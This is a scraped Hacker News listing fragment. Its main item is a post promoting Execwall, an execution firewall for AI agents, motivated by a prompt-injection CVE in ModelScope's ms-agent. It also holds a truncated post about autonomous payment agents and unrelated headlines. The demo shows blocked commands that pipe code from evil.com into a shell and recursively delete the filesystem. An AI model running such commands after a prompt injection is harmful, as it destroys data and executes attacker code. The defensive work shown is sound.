17:T4e4,CVE-2026-2256 just dropped - a prompt injection in ModelScope's ms-agent allows arbitrary OS command execution. CVSS 6.5, no auth required.

  This is exactly why I built Execwall: an execution firewall for AI agents.

  The problem: AI agents that can execute code are one prompt injection away from rm -rf /.

  The solution: A security layer directly embedded in the shell and between app and kernel:

  - Seccomp-BPF filtering - Block dangerous syscalls before they execute
  - Policy engine - Regex allowlist/denylist for commands embedded in shell
  - Namespace isolation - Python sandbox with separate mount/PID/network
  - Rate limiting - Prevent automated exploitation

  Even if an attacker injects a malicious prompt, the command gets blocked at the execution firewall:

  [execwall]$ curl http://evil.com | sh
  [X] DENIED: Network command blocked by policy

  [execwall]$ rm -rf /
  [X] DENIED: Recursive deletion blocked

  Written in Rust. Works with any LLM agent framework.

  GitHub: https://github.com/sundarsub/execwall

  CVE details: https://radar.offseq.com/threat/cve-2026-2256-cwe-94-improper-control-of-generatio-97245d82

18:T46f,I want to build an AI agent that shops autonomously – you give it a card once, and it handles browsing, selecting, and paying on its own.

I've been working on an MCP server that connects AI agents to payment providers (Stripe, PayPal, virtual cards), but

I keep hitting walls:

- Card issuers won't respond to individual developers

- Stripe requires 3D Secure for off-session payments

- E-commerce sites block browser automation

- Amazon v. Perplexity (March 9) confirmed that browser automation on major platforms carries real legal risk

Meanwhile Visa announced "Intelligent Commerce" and Mastercard launched "Agent Pay" – the networks see this coming, but the developer tooling isn't there yet. Has anyone actually shipped

Hollywood Hacks OT: Cybersecurity Lessons from the Movies

40 Years of Wireless Evolution Leads to a Smart, Sensing Network

"Added 1M context window for Opus 4.6 by default for Max, Team, and Enterprise"

Could a Day Job Be the Foundation of an Artist's Success?

Japanese government makes indie game devs eligible for grants up to $60k USD

Pick one of catastrophic or equitable. Are founder clean breaks possible?

How the Strait of Hormuz closure affects global oil supply

Iran and Region Monitor of Attacks and Major Events

Smaller Than a Fingernail: Unboxing the Tiniest Books [video]

Electron microscopy shows 'mouse bite' defects in semiconductors

Show HN: diz – SSH key exchange in one command each side

The Playbook and Play-Engine Site (2003)

Digg cuts jobs after facing AI bot surge

macOS backups with Kopia and Backblaze (2023)

Dust Outbreak Reaches Europe

How the Iran War Threatens Big Tech's AI Data Center Buildout in the Middle East [video]

Harnessing eDNA to help conserve Australia's oceans

The AI that taught itself: Researchers show how AI can learn what it never knew

Execwall – firewall to stop ModelScope CVE-2026-2256 (AI agent command injectn)

Ask HN: Has anyone built an AI agent that spends real money?

Waitrose suspends sale of mackerel because of overfishing

High Grow Market Equilibrium After the Singularity

Stop repeating yourself to Claude Code

I beg you to follow Crocker's Rules, even if you will be rude to me

Computing in Freedom with GNU Emacs

Annette Obrestad: The teenage prodigy who won the first WSOP Europe Main Event

YC: Need more time to review application

Global Flood Hub by Google

Ninth Circuit Guts California's Kids Code Once Again

Did I photograph the Aurora or was it something else? (2016)

Show HN: Better HN – Realtime Comment Updates and Cleaner Look